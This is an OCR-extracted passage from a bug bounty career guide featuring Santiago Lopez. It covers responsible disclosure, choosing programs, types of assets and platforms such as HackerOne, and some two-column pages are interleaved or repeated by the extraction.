- Targeted Attacks: Attackers can use the disclosed infor- - Generic Error Messages: In production, display generic
mation to launch more targeted and effective attacks. error messages that do not reveal internal application details.

- Reputation Damage: Disclosure of confidential informa- - Protect Configuration Files: Store configuration files out-
tion can damage a company's reputation and erode the trust of side of the web root folder and ensure that they are protected
its customers. with appropriate permissions.

Common Types of Information Disclosure - Disabling Debugging Tools: Disable all debugging tools
in production to prevent attackers from accessing sensitive
Detailed Error Messages: When an application encoun- information.
ters an error, it sometimes displays error messages that reveal
internal application details, such as file paths, variable names or - Metadata Removal: Removes unnecessary metadata from
SQL queries. Attackers can use this information to identify and files and HTTP headers to reduce the attack surface.
exploit vulnerabilities.
Information disclosure may seem like a minor vulnerability,

122 MILLIONAIRE RECORDS

but it can have serious consequences for the security of your
application. By implementing the right security measures, you
can protect your data and systems from attackers and prevent
your secrets from getting out.

Endnotes

In this chapter, we have explored some of the most com-

mon and dangerous web vulnerabilities lurking in the vast digital
world. From code injection to information disclosure, we have
seen how attackers can exploit these flaws to compromise web
application security and steal sensitive data.

However, we should not despair. By understanding these

vulnerabilities and their exploitation mechanisms, we are bet-
ter equipped to protect ourselves. Implementing robust security
measures, such as input validation, query parameterization and
the use of security tools, can significantly reduce the risk of
falling victim to a cyberattack.

Remember, web security is an ongoing process, not a final

destination. As attackers develop new techniques, we must adapt
and strengthen our defenses. Staying up-to-date on the latest
threats and vulnerabilities is crucial to protecting your applica-
tions and your users.

If you are interested in becoming a bug bounty hunter, this

chapter has provided you with a solid foundation to get started;
now it's time to put what you've learned into practice and start
looking for vulnerabilities!

web vulnerabilities 123

 C H A P T E R T H R E E

BEYOND TECHNIC
3
HOW LOGGING
ON TO A WEB
CAN CHANGE
YOUR LIFE

126 MILLIONAIRE RECORDS

3 . 1 – BUG B OU N T Y P RO-
G R A M S # 3 .1
Welcome to the exciting world of bug bounty programs! If
you've made it this far, it means you're ready to take the
next step in your journey as an ethical hacker. In this chap
ter, I'll reveal the secrets to finding and participating in
bug bounty programs that will allow you to put your skills to
use, earn money and, who knows, maybe even become a
millionaire!

What are Bug Bounty Programs?

Bug bounty programs are initiatives in which companies

invite ethical hackers to look for vulnerabilities in their sys
tems and applications. In exchange for reporting these
security flaws in a responsible manner, companies offer
financial rewards that can range from a few dollars to thou
sands, or even millions, of dollars.

These programs are a win-win situation: companies improve

the security of their products, ethical hackers get recogni
tion and rewards for their work, and end users enjoy more
secure applications and services.

Why Should You Participate in Bug Bounty Programs?

Bug bounty programs offer a number of benefits for both

novice and expert hackers:

- Potential Gains: As I mentioned, the rewards can be very

generous, especially if you find critical vulnerabilities. Many
hackers have managed to turn bug bounty into their main
source of income, and some, like me, have even reached
millionaire status.
- Continuous Learning: Bug bounty programs expose you
to a wide variety of technologies and vulnerabilities, allowing
you to constantly learn and improve your skills.
- Recognition and Reputation: By finding and reporting
vulnerabilities, you can build a solid reputation in the com
puter security community, which will open doors to new
job opportunities and collaborations.
- Contribution to Society: By helping companies improve
the security of their products, you are helping to make the
Internet a safer place for everyone.

beyond T echnic 127

 How to Find Bug Bounty Programs

There are numerous platforms that connect ethical hackers

with companies offering bug bounty programs. One of the
most popular and respected is HackerOne.

HackerOne is a platform that hosts hundreds of bug bounty

programs from companies around the world. You can fil
ter programs by technology, reward, difficulty level and other
criteria to find those that match your interests and skills.

Other popular platforms include:

- Bugcrowd
- Intigriti
- YesWeHack

In addition to these platforms, many companies have their

own private bug bounty programs. You can find them by
searching the company's website or by contacting their
security team directly.

How to Choose the Right Bug Bounty Program

Not all bug bounty programs are the same. Some focus on
web applications, while others focus on desktop software
or mobile devices. Some offer higher rewards, but they can
also be more competitive.

To choose the right program for you, consider the following

factors:

- Your Interests and Skills: Are you more interested in web

applications, desktop software or mobile devices? What
technologies do you have the most experience in?

- The Scope of the Program: What kind of vulnerabilities is

the company looking for, and are there any restrictions on
the testing techniques you can use?

- The Reward: How much does the company pay for each
vulnerability found? Is there a maximum reward limit?

- The Program's Reputation: What do other hackers say

about the program? Does the company respond quickly
to vulnerability reports? Does it pay rewards on time?

128 MILLIONAIRE RECORDS

How to Participate in a Bug Bounty Program

Once you've found a program that interests you, the next

step is to register and carefully read the program rules. These
rules specify what types of vulnerabilities are within the
scope of the program, what testing techniques are allowed,
and how you should report your findings.

Once you are familiar with the rules, you can start looking
for vulnerabilities. Use the tools and techniques we have
seen in previous chapters, such as vulnerability scanners,
fuzzing, and manual code analysis.

When you find a vulnerability, be sure to document it clearly

and in detail. Include steps to reproduce the problem,
screenshots and any other relevant information. Then, sub
mit your report to the company via the bug bounty platform
or their responsible disclosure channel.

Tips to Maximize your Bug Bounty Profits

- Focus on Quality Programs: Not all bug bounty programs

are the same. Some offer better rewards and have a bet
ter payout history than others. Do your research and choose
reputable programs.

- Specialize in One Area: Instead of trying to cover every

thing, focus on one specific area, such as web applications,
desktop software or mobile devices. This will allow you
to develop greater expertise and find more complex
vulnerabilities.

- Learn Constantly: Technology evolves rapidly, and so do

vulnerabilities. Keep up with the latest hacking trends and
techniques to stay competitive.

- Collaborate with Other Hackers: The bug bounty is not

a competition, but a community. Collaborating with other
hackers can help you learn new techniques, share informa
tion and find vulnerabilities faster.

- Be Professional and Responsible: Report your findings

clearly and concisely, and work with the company to fix pro
blems responsibly. This will help you build a good repu
tation and get more invitations to private programs.

beyond T echnic 129

 Conclusion: Your Future in Bug Bounty

Bug bounty is an exciting and growing industry. If you have

a passion for technology, security and troubleshooting,
bug bounty may be the perfect career for you.

With dedication, perseverance and the right tools, you can

become a successful bounty hunter and help make the
Internet a safer place for everyone.

M Y A D V IC ES
HackerOne: your gateway to the world of bug bounty. You
will learn how to register, find programs, report vulnerabili
ties and earn money. Santiago advises you to start with
small programs, be patient, ethical and responsible.

Here are specific steps on how you can start changing

your life.

1. Access HackerOne's website: Open your web brow-

ser and go to HackerOne's home page: https://www.
hackerone.com/.
2. Click on "Sign Up": In the top right corner of the page,
you will find a button that says "Sign Up". Click on it.
3. Choose your account type: You will be presented with
two options: "Hacker" (for security researchers) and
"Company" (for companies). Select "Hacker".
4. Complete the registration form: Enter your email address
and create a secure password. Accept HackerOne's
terms of service and privacy policy.
5. Verify your email: HackerOne will send you a verifica-
tion email. Open the email and click on the verification
link to confirm your account.
6. Complete your profile: Once you have verified your
email, you will be asked to complete your HackerOne
profile. This includes information such as your name,
country of residence and hacking skills.
7. Join bug bounty programs: Now that you have a
HackerOne account, you can start searching for and
joining bug bounty programs. You can explore availa-
ble programs on HackerOne's programs page: [invalid
URL removed].

130 MILLIONAIRE RECORDS

Additional Tips:

- Read the program rules: Before joining a program, be sure

to carefully read the program rules. These rules specify
what types of vulnerabilities are within the scope of the
program, what testing techniques are allowed, and how
you should report your findings.

- Start with smaller programs: If you are new to bug bounty,

it is advisable to start with smaller, less competitive pro
grams. This will allow you to gain experience and build your
reputation before taking on larger, more challenging
programs.

- Be patient and persistent: Finding vulnerabilities can take

time and effort. Don't get discouraged if you don't find
anything right away. Keep learning and practicing, and
eventually you will succeed.

- Be ethical and responsible: Always report your findings

responsibly to the company through the bug bounty plat
form. Don't try to exploit vulnerabilities for your own
benefit.

beyond T echnic 131

3.2 - RESPONSIBLE COMMUNICATION
AND DISCLOSURE #3.2
In the fast-paced world of cybersecurity, where threats
are constantly evolving, responsible vulnerability communica-
tion and disclosure stand as fundamental pillars for building a
more secure and resilient digital environment. This chapter will
explore the crucial importance of sharing vulnerability informa-
tion in an ethical and constructive manner, safeguarding users
and fostering collaboration between security researchers, busi-
nesses and the community at large.

Why is Responsible Disclosure Essential?

Imagine discovering a critical flaw in widely used software,

an open door for cybercriminals to exploit and wreak havoc. What
would you do with that knowledge? Disclosing it irresponsibly,
without giving developers time to fix it, could unleash a wave of
devastating attacks. On the other hand, keeping it secret would
perpetuate the risk and leave users exposed.

Responsible disclosure offers a balanced solution. By pri-

vately informing developers about vulnerabilities, we give them
the opportunity to create patches and updates before the infor-
mation is made public. This minimizes risk to users and ensu-
res that fixes are available when the vulnerability is disclosed.

The Responsible Disclosure Process

- Discovery: A security researcher, whether a seasoned pro-

fessional or a passionate enthusiast, identifies a vulnerability in
a system or software.

- Private Notification: The researcher informs the software

vendor of the vulnerability through appropriate channels, pro-
viding comprehensive technical details and proof of concept
demonstrating the existence and impact of the flaw.
- Grace Period: A reasonable period of time, agreed between
the researcher and the vendor, is established for the latter to
develop and rigorously test a patch to fix the vulnerability.
- Coordinated Disclosure: Once the patch is available and
has been implemented, the researcher and the vendor jointly
disclose the vulnerability to the public. This disclosure includes
detailed information about the vulnerability, its potential impact,
and steps users can take to protect themselves, such as applying
the patch or updating the software.

132 MILLIONAIRE RECORDS

 ARGENTINE TALENT
SANTIAGO LOPEZ IS A YOUNG ARGENTINE ETHICAL HACKER WHO BECAME A MILLIO-
NAIRE BY FINDING AND REPORTING VULNERABILITIES IN COMPUTER SYSTEMS TO
COMPANIES LIKE GOOGLE, ZOOM, VERIZON AND EVEN THE U.S. GOVERNMENT.

beyond T echnic 133

 x Responsible communication and disclosure of vulnerabili-
Benefits of Responsible Disclosure ties are indispensable tools for strengthening cybersecurity in an
increasingly connected world. By working together, researchers,
- Protecting Users: Allowing vendors to address vulnerabi- companies and the community can create a more secure and
lities before they are exploited significantly reduces the risk of resilient digital environment, where vulnerabilities are addres-
attacks and safeguards users' security. sed proactively and efficiently, protecting users and fostering
- Trust Building: Responsible disclosure demonstrates the innovation. Remember, reporting vulnerabilities to bug bounty
commitment of researchers and companies to user security, bui- programs is vital to achieving this goal!
lding a relationship of trust and collaboration.
- Continuous Security Improvement: By working together,
researchers and vendors can identify and fix vulnerabilities more 3.2 - RESPONSIBLE COMMUNICATION
efficiently, improving the overall security of software and systems.
- Recognition and Rewards: Many bug bounty programs,
AND DISCLOSURE #3.2
also known as "bug bounty," recognize and financially reward In the fast-paced world of cybersecurity, where threats are
researchers who responsibly disclose vulnerabilities, encoura- constantly evolving, responsible vulnerability communication
ging research and collaboration. and disclosure stand as key pillars for building a more secure
and resilient digital environment. This chapter will explore the
Bug Bounty Programs: A Key Incentive crucial importance of sharing vulnerability information in an ethi-
cal and constructive manner, safeguarding users and fostering
Bug bounty programs are a powerful tool for encouraging collaboration between security researchers, businesses and the
responsible disclosure. These programs offer financial rewards to community at large.
researchers who find and report vulnerabilities privately to com-
panies. This not only incentivizes researchers to find and report Why is Responsible Disclosure Essential?
flaws, but also ensures that vulnerabilities are addressed quickly
and efficiently, protecting users and improving overall security. Imagine discovering a critical flaw in widely used software,
an open door for cybercriminals to exploit and wreak havoc. What
It's Vital to Report Vulnerabilities to Bug Bounty Programs! would you do with that knowledge? Disclosing it irresponsibly,
without giving developers time to fix it, could unleash a wave of
If you discover a vulnerability, it is crucial that you report it devastating attacks. On the other hand, keeping it secret would
immediately to the appropriate bug bounty program. By doing perpetuate the risk and leave users exposed.
so, you directly contribute to improving the security of the sof-
tware and protect users from possible attacks. In addition, you Responsible disclosure offers a balanced solution. By pri-
may be rewarded for your valuable contribution. vately informing developers about vulnerabilities, we give them
the opportunity to create patches and updates before the infor-
Ethical Considerations and Challenges mation is made public. This minimizes risk to users and ensu-
res that fixes are available when the vulnerability is disclosed.
Responsible disclosure is not without its challenges. Vendors
can sometimes be slow to respond or reluctant to acknowledge The Responsible Disclosure Process
vulnerabilities. There are also ethical dilemmas about when and
how to disclose information that could be used for malicious 1. Discovery: A security researcher, whether a seasoned
purposes. professional or a passionate enthusiast, identifies a vulnerabi-
lity in a system or software.
It is critical that researchers act with integrity and responsi- 2. Private Notification: The researcher informs the software
bility, always prioritizing the safety of users and avoiding causing vendor of the vulnerability through appropriate channels, pro-
unnecessary harm. Open and transparent communication with viding comprehensive technical details and proof of concept
vendors is essential to build trusting relationships and achieve demonstrating the existence and impact of the flaw.
positive results. 3. Grace Period: A reasonable period of time, agreed
between the researcher and the vendor, is established for the

134 MILLIONAIRE RECORDS

latter to develop and rigorously test a patch to fix the vulnerability. or bug bounty program, to report the vulnerability privately.
4. Coordinated Disclosure: Once the patch is available and 3. Clear and Concise Communication: Write a detailed and
has been implemented, the researcher and the vendor jointly technical report, but easy to understand for the company's deve-
disclose the vulnerability to the public. This disclosure includes lopers. Include all the information necessary for them to repro-
detailed information about the vulnerability, its potential impact, duce and fix the vulnerability.
and steps users can take to protect themselves, such as applying 4. Collaboration: Maintain open and transparent commu-
the patch or updating the software. nication with the company. Answer their questions, provide
additional information if necessary and work together to find
Benefits of Responsible Disclosure the best possible solution.
5. Coordinated Disclosure: Establish a reasonable timeline
- Protecting Users: Allowing vendors to address vulnerabi- with the company for public disclosure of the vulnerability once
lities before they are exploited significantly reduces the risk of it has been fixed. Prepare a public notice explaining the vulne-
attacks and safeguards users' security. rability and how users can protect themselves.
- Building Trust: Responsible disclosure demonstrates the
commitment of researchers and companies to user security, bui- Ethical Considerations and Challenges
lding a relationship of trust and collaboration.
- Continuous Security Improvement: By working together, Responsible disclosure is not without its challenges. Vendors
researchers and vendors can identify and fix vulnerabilities more can sometimes be slow to respond or reluctant to acknowledge
efficiently, improving the overall security of software and systems. vulnerabilities. There are also ethical dilemmas about when and
- Recognition and Rewards: Many bug bounty programs, how to disclose information that could be used for malicious
also known as "bug bounty," recognize and financially reward purposes.
researchers who responsibly disclose vulnerabilities, encoura-
ging research and collaboration. It is critical that researchers act with integrity and responsi-
bility, always prioritizing the safety of users and avoiding causing
Bug Bounty Programs: A Key Incentive unnecessary harm. Open and transparent communication with
vendors is essential to build trusting relationships and achieve
Bug bounty programs are a powerful tool for encouraging positive results.
responsible disclosure. These programs offer financial rewards to
researchers who find and report vulnerabilities privately to com- Responsible communication and disclosure of vulnerabili-
panies. This not only incentivizes researchers to find and report ties, along with active participation in bug bounty programs, are
flaws, but also ensures that vulnerabilities are addressed quickly indispensable tools for strengthening cybersecurity in an increa-
and efficiently, protecting users and improving overall security. singly connected world. By working together, researchers, com-
panies and the community can create a more secure and resilient
If you discover a vulnerability, it is crucial that you report it digital environment, where vulnerabilities are addressed proac-
immediately to the appropriate bug bounty program. By doing tively and efficiently, protecting users and fostering innovation.
so, you directly contribute to improving the security of the sof-
tware and protect users from potential attacks. In addition, you
can be rewarded for your valuable contribution. 3.3 - BUILDING A CAREER IN BUG BOUN-
How to Responsibly Report Vulnerabilities to Companies and
TY: FROM PASSION TO PROFESSION
Collaborate in their Solution #3.3
Identification and Analysis: Confirm the existence of the vul- The world of bug bounty (bug bounty programs) offers an
nerability and document all technical details, including steps to exciting opportunity to turn your passion for cybersecurity into
reproduce it, proofs of concept and possible solutions. Evaluate a rewarding and lucrative career. This chapter will explore the
the potential impact of the vulnerability. key steps to building a successful career in this evolving field,
2. Private Notification: Use the company's official commu- from developing your technical skills to establishing your repu-
nication channels, such as the vulnerability disclosure program tation and maximizing your income.

beyond T echnic 135

 x companies to get a fair reward for your findings. Research the
1. Develop Your Technical Skills: usual pay ranges for each type of vulnerability.

- Master the Fundamentals: Start by acquiring a solid unders- - Diversify your income: In addition to bug bounty, consi-
tanding of cybersecurity fundamentals, such as networks, ope- der other sources of income such as security consulting, training,
rating systems, programming languages and web protocols. security tool development or content creation.

- Specialize in Key Areas: Explore different areas of cyberse- Santiago's Tips on How to Turn Your Passion for Security into
curity, such as penetration testing, vulnerability analysis, reverse a Successful Career:
engineering and web application security, to identify your areas
of interest and specialization. - Be Curious and Persistent: Curiosity and persistence are
essential to succeed in the bug bounty world. Never stop lear-
- Stay current: Cybersecurity is a constantly evolving field. ning and exploring new areas of security.
Spend time learning new techniques, tools and trends through
online courses, conferences, blogs and security communities. - Be Ethical and Responsible: Always act with integrity
and ethics. Report vulnerabilities responsibly and avoid causing
- Practice Consistently: Practice is key to honing your skills. unnecessary damage.
Participate in ethical hacking platforms such as Hack The Box,
TryHackMe and PortSwigger Web Security Academy to test your - Be Collaborative and Share your Knowledge: Collaborate
knowledge in secure and controlled environments. with other researchers, share your knowledge and learn from
others. The security community is a valuable resource for your
2. Build your Reputation: professional growth.

- Participate in Bug Bounty Programs: Start by participating - Be Patient and Perseverant: Building a successful bug
in public and private bug bounty programs. Report your findings bounty career takes time and effort. Don't be discouraged by
in a responsible and professional manner, following the disclo- obstacles and keep working hard to achieve your goals.
sure guidelines of each program.
Building a career in bug bounty requires dedication, pas-
- Share your Knowledge: Write detailed reports on the sion and a constant commitment to learning and improvement.
vulnerabilities you discover, create educational content (blogs, By following these tips and developing your skills, you can turn
videos, tutorials) and participate in online communities to share your passion for security into a rewarding career and contribute
your knowledge and experiences. to a safer digital world.

- Build your Personal Brand: Create a personal website or

blog to showcase your skills and accomplishments, and use social
media to connect with other security professionals.

Maximize your Income:

- Focus on Profitable Programs: Research and select bug

bounty programs that offer attractive rewards and fit your areas
of expertise.

- Prioritize Quality over Quantity: Instead of reporting a

large number of minor vulnerabilities, focus on finding critical,
high-impact vulnerabilities that generate higher rewards.

- Negotiate your Rewards: Don't be afraid to negotiate with

136 MILLIONAIRE RECORDS

beyond T echnic 137
3.4 - BUG BOUNTY FUTURE #3.4 Santiago's Reflections on the Future of the Industry

The cybersecurity landscape is constantly evolving, and with - The Rise of Specialization: As the threat landscape beco-
it, the world of bug bounty programs. This episode will explore mes more complex, security researchers are specializing in spe-
the emerging trends that are shaping the future of this growing cific areas, such as mobile application security, cloud security, or
industry, as well as insights from Santiago Lopez, a renowned IoT device security. This specialization allows for deeper analysis
security expert and bounty hunter, on the challenges and oppor- and identification of more sophisticated vulnerabilities.
tunities ahead.
- The Importance of Ethics: Ethics and responsibility are
Emerging Trends in Bug Bounty fundamental in the world of bug bounty. Researchers must act
with integrity, respect the privacy of users and work collabo-
1. Automation and Machine Learning: Artificial intelligence ratively with companies to ensure that vulnerabilities are pro-
and machine learning are transforming the way vulnerabilities perly addressed.
are discovered and reported. Automated tools can scan large
amounts of code for patterns and anomalies, speeding up the - The Role of the Community: The security research com-
process of identifying vulnerabilities. However, the human touch munity plays a crucial role in the evolution of bug bounty pro-
is still essential to analyze and validate findings. grams. Collaboration, knowledge sharing and mutual support are
essential to the growth and success of this industry.
2. Focus on Supply Chain Security: As enterprises increa-
singly rely on third-party software and services, supply chain - The Challenge of Scale: As companies adopt bug bounty
security becomes critical. Bug bounty programs are expanding programs, the challenge lies in managing and scaling these pro-
their scope to include assessing the security of external suppliers grams effectively. Companies must establish clear processes,
and partners. invest in automation tools and foster a culture of security to
take full advantage of the benefits of bug bounty.
3. Bug Bounty in the Cloud: The widespread adoption of
cloud computing has created new attack vectors and potential - The Future of Rewards: Financial rewards will continue
vulnerabilities. Bug bounty programs are adapting to address to be an important incentive for researchers, but other forms of
cloud-specific risks, such as misconfiguration of services, data recognition will also be explored, such as prestige, the opportu-
exposure, and vulnerabilities in application programming inter- nity to collaborate with leading companies and access to exclu-
faces (APIs). sive resources.

4. Rewards for High-Impact Vulnerabilities: Enterprises are

willing to pay higher rewards for critical vulnerabilities that could The future of bug bounty programs is promising, with
have a significant impact on their operations or the security of new trends emerging that are transforming the way companies
their customers. This incentivizes researchers to focus on fin- approach security. Collaboration between researchers, companies
ding high-risk vulnerabilities. and the community at large will be key to meeting the challenges
and seizing the opportunities that lie ahead in this exciting field.
5. Gamification and Collaboration: Bug bounty programs
are incorporating gamification elements, such as leaderboards
and challenges, to motivate researchers and encourage heal-
thy competition. In addition, collaborative platforms are being
created that allow researchers to work together to discover and
report vulnerabilities more efficiently.

138 MILLIONAIRE RECORDS

beyond T echnic 139
4
C H A P T E R F O U R

LET'S GET TO
WORK
CHOOSING THE RIGHT PROGRAM IS LIKE FINDING
TREASURE: IT REQUIRES A LITTLE RESEARCH, INTUITION
AND A LITTLE COURAGE. NOT EVERY PROGRAM WILL LOOK
AMAZING TO YOU, SO LOOK FOR THE ONE THAT WILL MAKE
YOU THE MOST MONEY.

142 MILLIONAIRE RECORDS

"¿HOW TO
CHOOSE THE
RIGHT PRO-
GR AM?"
4. 1 – CH O O S I NG A BUG
B OUN T Y P R O G R A M # 4 .1 mobile applications, cloud infrastructure or IoT devices?

In the vast universe of Bug Bounty programs, choosing the - How much time can you dedicate - can you devote full
right one can be the difference between a rewarding experience time or just a few hours a week?
and a frustrating one. This chapter will guide you through the
key factors to consider when selecting a program, maximizing 2. Research Available Programs:
your chances of success and satisfaction.
- Bug Bounty Platforms: Explore platforms such as
1. Define your Objectives: HackerOne, Bugcrowd, Intigriti and YesWeHack. These plat-
forms offer a wide variety of programs from different companies
- What are you looking to achieve; do you want to earn and sectors.
money, gain experience, build your reputation, or contribute to
the security of a specific project? - Private Programs: Some companies have private programs
that are not listed on public platforms. Research companies that
- What are your skills: Are you an expert in web security, interest you and look for information about their Bug Bounty

let ' s get to work 143

programs on their websites or social media. - Use appropriate tools and techniques: Use vulnerability
scanning tools, fuzzers and other testing techniques to identify
- Public Programs: Many programs are public and acces- potential vulnerabilities.
sible to any researcher. These programs tend to be more com-
petitive, but also offer the opportunity to earn recognition and - Report your findings responsibly: Follow the program's dis-
significant rewards. closure guidelines and report your findings clearly and concisely.

3. Evaluate Programs: Additional Tips:

- Scope: What assets are included in the program - websi- - Don't be discouraged: Finding vulnerabilities can be a
tes, mobile apps, APIs, cloud infrastructure? long and tedious process. Don't give up if you don't find any-
thing right away.
- Rules: What are the program rules? What types of vul-
nerabilities are eligible for rewards? Are there restrictions on - Learn from your mistakes: If your reports are rejected,
testing techniques? learn from your mistakes and improve your skills.

- Rewards: What kind of rewards are offered: cash, swag, - Collaborate with other researchers: Working in a team
reputation points, public recognition? What is the range of can be a great way to learn and improve your skills.
rewards for different types of vulnerabilities?
- Keep up to date: Cybersecurity is constantly evolving. Stay
- Communication: How does the company communicate up to date on the latest trends and techniques.
with researchers, is there a clear and transparent communication
channel, and do they respond quickly to vulnerability reports? Choosing the right Bug Bounty program is a crucial step in
building a successful career in this field. By following these tips,
- Reputation: What is the company's reputation in the Bug you can maximize your chances of success and contribute to a
Bounty community? Do they pay rewards on time? Do they more secure digital environment.
recognize the work of researchers?

4. Prioritize Programs: 4.2 – INDUSTRY HIS-

- Alignment with your goals: Choose programs that align
with your goals and skills. If you are a web security expert, look
for programs that focus on web applications.
T ORY # 4 .2
- Reward potential: Prioritize programs that offer attractive From Early Steps to Professionalization
rewards and match your expectations.
The concept of rewarding people for finding bugs in sof-
- Communication and transparency: Choose programs that tware is not new, but the bug bounty industry as we know it
have good communication with researchers and are transparent today has undergone a fascinating evolution over the decades.
about their rules and processes. This chapter will take you on a journey through time, from the
first informal programs to the professionalization and global
- Reputation: Prioritize programs from companies with a recognition of this practice.
good reputation in the Bug Bounty community.
Early Origins: Pioneers and Experimenters
5. Start Looking for Vulnerabilities:
The idea of rewarding those who discover bugs in sof-
- Read the program documentation: Familiarize yourself tware dates back to the early days of computing. In the 1980s,
with the program's rules, scope and rewards. companies such as Hunter & Ready offered rewards for finding

144 MILLIONAIRE RECORDS

bugs in their VRTX operating system. However, these programs and training will also play a crucial role in developing the next
were informal and did not resemble the structured programs generation of cybersecurity talent.
we know today.
The story is a testament to the power of collaboration and
In 1995, Netscape launched a bug bounty program in its innovation in the quest for a more secure digital environment.
Netscape Navigator 2.0 Beta browser, considered by many to From its humble beginnings to its current status as a recognized
be the first modern bug bounty program. This program offered and valued practice, bug bounty has proven to be an invaluable
cash rewards to those who found security vulnerabilities, set- tool for improving the security of our systems and protecting
ting a precedent for future initiatives. users from cyber threats. As we move into the future, the bug
bounty industry will continue to play a crucial role in protecting
The Rise of Bug Bounty: The Era of Professionalization our ever-evolving digital world.

In the early 2000s, the bug bounty concept began to gain

4 .3 – ASSET S #4 .3
popularity. Companies such as Google, Mozilla and Microsoft
launched their own programs, offering increasingly generous
bounties for critical vulnerabilities.

In 2012, the HackerOne platform was founded, which revo- The types of assets you may encounter are as diverse as the
lutionized the industry by providing a centralized platform for vulnerabilities lurking in cyberspace. This chapter will immerse
companies to manage their bug bounty programs and security you in a tour of the different types of assets typically included in
researchers to find and report vulnerabilities. Other platforms these programs, broadening your horizons and revealing a range
such as Bugcrowd and Intigriti followed suit, creating a vibrant of possibilities for your skills as a security researcher.
ecosystem for the bug bounty community.
1. Web applications:
Industry Maturity: Recognition and Growth
Web applications are one of the most common targets in
Over the past decade, the bug bounty industry has experien- Bug Bounty programs. They range from simple informational
ced exponential growth. More and more companies are recog- websites to complex e-commerce and social networking pla-
nizing the value of bug bounty as an effective way to improve tforms. The most frequent vulnerabilities in this area include:
the security of their products and services.
- SQL Injection (SQLi): allows attackers to manipulate SQL
Bug bounty programs have expanded beyond software and queries to access sensitive data or modify the database.
now encompass a wide range of assets, from hardware and IoT - Cross-Site Scripting (XSS): Allows malicious code to be
devices to cloud infrastructure and industrial systems. Bounties injected into web pages and then executed in users' browsers.
have also increased significantly, with some companies offering - Cross-Site Request Forgery (CSRF): Forces authenticated
millions of dollars for critical vulnerabilities. users to perform unwanted actions in a web application.
- Authentication and Authorization Vulnerabilities: Allow
The Future of Bug Bounty: Challenges and Opportunities attackers to bypass access controls and obtain unauthorized
privileges.
As the bug bounty industry continues to evolve, new
challenges and opportunities arise. Automation and artificial 2. Mobile Applications:
intelligence are transforming the way vulnerabilities are discove-
red and reported, while the increasing complexity of systems and With the rise of mobile devices, mobile applications have
proliferation of connected devices pose new risks and challenges. become an attractive target for cybercriminals. Common vulne-
rabilities in this area include:
Collaboration between companies, security researchers
and governments will be essential to ensure that bug bounty - Code Injection: allowing attackers to execute malicious
programs remain effective and relevant in the future. Education code in the application.

let ' s get to work 145

 - Insecure Data Storage Issues: Exposes sensitive data, such 5. IoT Hardware and Devices:
as passwords or personal information, to potential attackers.
The Internet of Things (IoT) has connected a wide range of
- Insecure Communication: Transmits sensitive data unen- devices to the Internet, from home appliances to medical devi-
crypted, making it vulnerable to interception. ces. Common vulnerabilities in IoT hardware and devices include:

- Vulnerabilities in Third-Party Components: Libraries - Vulnerable Firmware: Outdated or poorly designed fir-
or frameworks used in the application may contain known mware can contain vulnerabilities that allow attackers to take
vulnerabilities. control of the device.

3. APIs (Application Programming Interfaces): - Weak or Encrypted Credentials: Weak passwords or

encrypted credentials in firmware facilitate unauthorized access
APIs are the glue that connects different applications and to devices.
services. Common vulnerabilities in APIs include:
- Insecure Communication: Unencrypted data transmis-
- Parameter Injection: allows attackers to manipulate the sion between IoT devices and servers can expose sensitive
parameters of API requests to access unauthorized data or per- information.
form unwanted actions.
6. Other Assets:
- Weak Authentication and Authorization: Allow attackers
to access protected resources without proper authorization. In addition to those mentioned above, Bug Bounty pro-
grams may include other assets such as:
- Excessive Data Exposure: Reveals sensitive information
that is not necessary for API operation. - Corporate Networks: Programs may include assessing the
security of a company's internal network.
- Lack of Resource Control: Allows attackers to consume
excessive resources and cause a denial of service. - Desktop Software: Desktop applications may also be sub-
ject to penetration testing for vulnerabilities.
4. Cloud Infrastructures:
- Custom Hardware Systems: Some companies develop
The massive adoption of cloud computing has created new hardware specific to their products or services, which may also
security challenges. Common vulnerabilities in cloud environ- be included in Bug Bounty programs.
ments include:
The diversity of assets in Bug Bounty programs offers a wide
- Misconfiguration of Cloud Services: Misconfiguration of range of opportunities for security researchers. By understan-
firewalls, object storage or identity services can expose sensi- ding the different types of assets and the vulnerabilities asso-
tive data or allow unauthorized access. ciated with each, you will be able to choose the programs that
best suit your skills and interests, maximizing your chances of
- Container Vulnerabilities: Containers, such as Docker, success and contributing to a more secure digital environment.
may contain vulnerabilities in the underlying software or be
misconfigured.

- Denial of Service (DoS) Attacks: Attackers may attempt

to overload cloud resources to disrupt services.
4.4 – PL ATFORMS #4.4
Platforms play a key role as a meeting point between
security researchers and companies looking to strengthen the
protection of their digital assets. This chapter will immerse you
in the fascinating universe of Bug Bounty Platforms, exploring

146 MILLIONAIRE RECORDS

their features, benefits and how to make the most of them to misunderstandings and guaranteeing a fair experience for all
boost your career as a bounty hunter. participants.

What are Bug Bounty Platforms? - Efficient Reporting: The platforms' reporting system faci-
litates communication between researchers and companies,
Bug Bounty platforms are websites or applications that streamlining the vulnerability review and remediation process.
act as intermediaries between companies offering bug bounty
programs and security researchers looking to identify vulnera- - Secure and Timely Reward Payment: The platforms manage
bilities. These platforms provide a structured and secure envi- reward payments, ensuring that researchers receive fair and
ronment for collaboration, facilitating communication, reporting timely compensation for their findings.
and bounty payment.
- Learning and Collaboration Opportunities: The platforms'
Key Features of Bug Bounty Platforms. forums and communities provide a space to interact with other
researchers, share knowledge, and learn from the experiences
1. Program Listings: The platforms offer a comprehensive of others.
directory of Bug Bounty programs from various companies and
industries, allowing you to explore and choose those that align - Recognition and Reputation: Participating in Bug Bounty
with your interests and skills. programs across platforms allows you to build your reputation
2. Clear Guidelines and Rules: Each program has specific as a security researcher and gain recognition in the community.
rules about what assets are in scope, what types of vulnerabi-
lities are eligible for rewards and how they should be reported. Popular Bug Bounty Platforms
The platforms ensure that these rules are clear and accessible
to all participants. - HackerOne: One of the largest and most popular plat-
3. Reporting system: The platforms provide a standardized forms, with a wide variety of programs from leading techno-
system for submitting vulnerability reports, including technical logy companies.
details, proofs of concept and remediation recommendations. This - Bugcrowd: Another major platform with a large commu-
facilitates communication between researchers and companies. nity of researchers and an intuitive interface.
4. Reward Management: The platforms manage the pay- - Intigriti: A growing European platform with a focus on
ment of rewards to researchers, ensuring that they receive fair program quality and collaboration with researchers.
and timely compensation for their findings. - YesWeHack: A platform with a strong presence in Europe
5. Leaderboards and Statistics: Many platforms offer lea- and Asia, offering a wide range of security programs and services.
derboards that show the most successful researchers, as well as
statistics on reported programs and vulnerabilities. This encou- Tips for Getting the Most Out of Bug Bounty Platforms
rages healthy competition and recognition of researchers.
6. Forums and Communities: Platforms often have online - Research and Choose the Right Programs: Explore the
forums and communities where researchers can interact, program listings, read the rules and guidelines, and choose those
